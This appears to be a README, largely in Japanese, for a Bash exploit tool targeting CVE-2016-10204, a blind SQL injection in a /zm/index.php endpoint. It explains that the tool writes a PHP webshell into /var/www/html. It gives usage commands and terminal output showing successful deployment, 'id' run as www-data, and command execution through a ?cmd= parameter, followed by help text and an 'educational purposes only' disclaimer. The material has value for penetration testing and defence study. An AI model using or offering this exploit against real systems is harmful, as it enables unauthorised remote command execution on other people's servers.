0xnullcomet/cve-2016-10204_webshell対象エンドポイントに対してCVE-2016-10204の手動悪用を実演し、PHPウェブシェルをアップロードするBashスクリプト。
CVE-2016-10204の手動エクスプロイトを実演するbashスクリプトで、ターゲットエンドポイントに対してPHPウェブシェルをアップロードします。
現在、webshell変数はMySQLペイロード用に設定されています。これは、ターゲットとする任意のバックエンドに置き換えることができます。
このCVEに関する詳細情報は以下のソースで確認できます：
このスクリプトは以下のように動作します：
使用法：
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/chmod +x CVE-2016-10204_Webshell.sh
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh testme http://127.0.0.1/zm/index.php
General Usage:
/bin/bash CVE-2016-10204_Webshell.sh <webshell_url_suffix> <http://target_endpoint/zm/index.php>
Help:
例：
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php
[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]
[*]================================[*]
[*]Target Host: 192.168.177.52:3305 [*]
[*]Target Endpoint: http://192.168.177.52:3305/zm/index.php [*]
[*]================================[*]
[*]================================[*]
[*]Attempting webshell deployment. [*]
[*]================================[*]
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or
Warning: consider "--output <FILE>" to save to a file.
Exit Code for Timeout: 23
[*]================================[*]
[*]Webshell deployment successful. [*]
[*]================================[*]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] http://192.168.177.52:3305/webshell_test.php?cmd=id [*]
[*] Execution is available via the ?cmd= parameter [*]
[*]================================[*]
既にエクスプロイト済みのターゲットに対して再実行する場合：
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php
[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]
[*]================================[*]
[*]Target Host: 192.168.177.52:3305 [*]
[*]Target Endpoint: http://192.168.177.52:3305/zm/index.php [*]
[*]================================[*]
[*]================================[*]
[*]Webshell already deployed. [*]
[*]================================[*]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] http://192.168.177.52:3305/webshell_test.php?cmd=id [*]
[*] Execution is available via the ?cmd= parameter [*]
[*]================================[*]
内蔵ヘルプ：
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh -h
[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]
CVE-2016-10204_Webshell
A bash script demonstrating the manual exploitation of CVE-2016-10204 against a target endpoint,
leading to upload of a php webshell.
More information:
- https://nvd.nist.gov/vuln/detail/CVE-2016-10204
- https://www.exploit-db.com/exploits/41239
- https://www.openwall.com/lists/oss-security/2017/02/05/1
Usage:
/bin/bash CVE-2016-10204_Webshell.sh <webshell_url_suffix> <http://target/zm/index.php>
Example:
/bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php
Notes:
- Verifies if a webshell already exists before attempting exploitation.
- Constructs a malicious SQLi payload to write a PHP webshell into /var/www/html.
- Confirms deployment by executing 'id' via the ?cmd= parameter.
- Please use responsibly only against devices you have permission to do. This is for educational purposes only.